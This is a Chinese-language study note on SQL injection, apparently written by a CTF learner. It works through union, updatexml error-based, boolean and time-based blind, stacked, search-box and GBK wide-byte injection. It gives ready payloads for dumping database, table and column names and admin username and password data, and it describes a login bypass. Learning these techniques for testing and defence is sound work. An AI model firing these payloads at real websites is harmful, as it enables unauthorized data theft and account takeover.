sql注入,owasp 10之前的top1,只要一个注入点就能把别人底裤都扒出来,这么厉害的漏洞,为啥我总是搞不懂捏
算了,搞不懂也要搞,先从基础搞起

sql注入的原理简单来说就是服务端没有对客户端的输入过滤,该输入通过前端的注入点入侵到别人的数据库中,听起来是ez game.

SQL注入两个条件

对用户端输入过滤不严格

可以带入数据库查询

但是首先要找到注入点,简单来说可以试试用各种工具扫一扫,比如goby,awvs啥的,一般来说应该扫不出来,然后就要自己眼看了。

首先看url连接里有没有能注入参数的地方,比如xxx./?id=1类的,id=1就是个参数值,通过改变这个1的值,比如+1-1,看看页面是否变化,如果变化,就说明这个参数会带入数据库中查询,我们就可以试试了

还有一个方法是1=1 1=2方法,在链接中,如

/xxx?id=qq and 1=1

/xxx.?id=qq and 1=2

第一个正常页面,第二个会显示报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

上面类似的,这就显示有注入点了

一般来说’都会被过滤,所以没啥大用处

对了,SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方

当我们找到注入点的时候,就是看各种过滤的时候了,不同的过滤会带来不同的注入方法

联合注入

union select,我理解为通过网页前端显示的信息当做跳板,将网页前端不显示的信息回显出来,不经过多次测试,获得想要的信息

1.联合注入需要先查出来是什么类型

判断是字符型还是数字型,字型不需要符号包裹,而字符型需要符号包裹

数字型:select * from table where id =$id
字符型:select * from table where id='$id'

判断类型一般可以使用 and 型结合永真式和永假式,判断数字型:

1 and 1=1 #永真式   select * from table where id=1 and 1=1
1 and 1=2 #永假式   select * from table where id=1 and 1=2
#若永假式运行错误,则说明此SQL注入为数字型注入

判断字符型:

1' and '1'='1
1' and '1'='2
#若永假式运行错误,则说明此SQL注入为字符型注入

2.查看字段个数

接下来需要用order by 查看字段个数

order by +数字

比如order by 3没报错,order by 4报错,说明只有3个字段,就是根据字段来构造联合注入语句进行注入

3.查看显示位

显示位就是网页中显示数据的位置

我们需要从字段中找到显示位,通过找到的显示位,把我们想要爆出来的值放到显示位上,来获取,具体方法为:

将union select 1,2,3中的1改为-1,查询一个不存在的值,可以将第一句空出,显示第二句,如果2,3号字段在前端显示,那2,3即为显示位

4.爆库名

具体构造(根据实际情况更改)

union select 1,database()
(爆当前所在数据库的名)

group_concat(schema_name) from information_schema.schemata
(爆全部库名)

5.报表

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’ 库名’

6.报列

 union select 1,2,group_concat(column_name) from 表名

7.报信息

union select 1,2,group_concat(concat_ws(列名)) from 表名’

一般到这联合注入就能爆出了,但是里面一般能过滤不少东西

tips:在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据,举个例(https://www.cnblogs.com/sfsec/p/15215102.html)

在这个题解中,需要admin的密码,但是我们不知道,因此我们通过联合查询构造一个虚拟数据,构造一个虚拟的密码,然后在密码框中输入虚拟密码,就可以进入了

报错注入

核心是函数,本质是使用一些特殊函数制造报错,将报错信息改成我们想要的内容,前提:

前端能够显示报错信息,通过之前的联合注入找不到显示位

报错注入不走步骤,走函数,分为不同函数

updatexml()函数和extractvalue()函数

大同小异的两个函数,通过xpath路径报错,原理:xpath不符合语法时,该语句会报错

XPATH syntax error :(注入信息)

可以将查询信息放入xpath中,通过报错回显出来

具体构造:

报库

1’or(updatexml(1,concat(0x7e,database(),0x7e),1))#

报表

1’or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘库名’)),0x7e),1))#

列名

1’or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like(‘表名’)),0x7e),1))#

字段

1’or(updatexml(1,concat(0x7e,(select(group_concat(列名,需要报的列名))from(表名),0x7e),1))#

饿,剩下的慢慢补充

盲注

当sql注入无回显的时候进行的注入方式,

布尔盲注

判断注入,以返回的判断为参照物,来猜测ASCII码,举个例子(https://www.cnblogs.com/zane-s/articles/12371820.html)

猜解获取数据库长度

or length(database()) > 8 –+ :符合条件返回正确,反之返回错误 1

猜解数据库名

‘or mid(database(),1,1)= ‘z’ –+ :因为需要验证的字符太多,所以转化为ascii码验证 ‘or ORD(mid(database(),1,1)) > 100 –+ :通过确定ascii码,从而确定数据库名 12

猜解表的总数

‘or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 –+ :判断表的总数 1

猜解第一个表名的长度

‘or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 –+ or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 –+ (第二个表) 12

猜解第一个表名

‘or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = ‘a‘ –+ 或者 Or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)) >100 –+ 1234

猜解表的字段的总数

‘or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME=‘表名’) > 5 –+ 1

猜解第一个字段的长度

‘or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME=’表名‘ limit 0,1) = 10 –+ or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME=‘表名’ limit 1,1) = 10 –+ (第二个字段) 12

猜解第一个字段名

‘or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘表名‘ limit 0,1),1,1) = ‘i‘ –+ 或者 or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘表名’ limit 0,1),1,1)) > 100 –+ 123

猜解直接猜测字段名

‘ or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘表名’ limit 1,1) = ‘username’ –+ 1

猜解内容长度

假如已经知道字段名为 id username password ‘or (select Length(concat(username,“—“,password)) from admin limit 0,1) = 16 –+ 12

猜解内容

‘or mid((select concat(username,“—–“,password) from admin limit 0,1),1,1) = ‘a’ –+ 或者 ‘or ORD(mid((select concat(username,“—–“,password) from admin limit 0,1),1,1)) > 100 –+ ASCII码猜解 123

时间盲注

以时间为参照物,看返回的时间差别为参照物,举个例子

猜库长

‘ and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5))

‘ and sleep(if((length(database()) = 8),0,5))–+ //当前数据库名长度为8

盲注的话还是推荐用工具或者脚本。毕竟这几个手注的话还是过于繁琐了,基本上是猜出来的

搜索型注入/文本框注入

原理是因为在搜索功能中,对搜索的变量没有进行过滤,可以传入特殊值,举个例子,不对,直接判断吧

搜索keywords’时,如果出现报错,很大概率有漏洞

搜索keywords%时,如果同样出现报错,基本上了

搜索keywords%’ and 1=1 and ‘%’=’

搜索keywords%’ and 1=2 and ‘%’=’

基本上根据返回的情况就能判断了

当你判断出来后,请返回前面的内容,联合注入,报错注入,总有一个适合你,是的,这个注入需要前面的注入方式,只是判断的方式不同

xx型注入

xx指的是变量=(‘xx’),本质上还是没有过滤,可以输入一些恶意语句攻击sql数据库,与其他不同的是参数是a’) 后跟构造的语句,其他和之前一样

堆叠注入

将多条语句堆叠在一起进行查询,可以执行多条sql语句,用;分开

局限:PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行

注入方式很简单,三步走

0′; show databases; #

0′; show tables; #

1′; show columns from 表;#

tips:当过滤了大量东西的时候,可以使用handler语句

(https://blog.csdn.net/jesseyoung/article/details/40785137)解析

handler 表 open;handler 表 read first;handler 表 close;#

宽字节注入

当sql语句过滤了太多字符时,如 ’ 转义成 /’ 或者 ” 转义成 /”

就可以通过宽字节绕过转义字符

原理:一个汉字对应两个字节

%df’:会被addslashes函数转义为”%df’,”

%df’会转义为%df%5c%27

如果网站字符集是GBK,mysql也是,就会认为这个是宽字节

%df%5c会结合为一个汉字,后面%27成为’,攻击成立

判断注入:

a=1%d5′      #报错
a=1%d5′ –+  #未报错

 

sql的内容是真多啊,还有个sqlmap没整理,我还是单开一个吧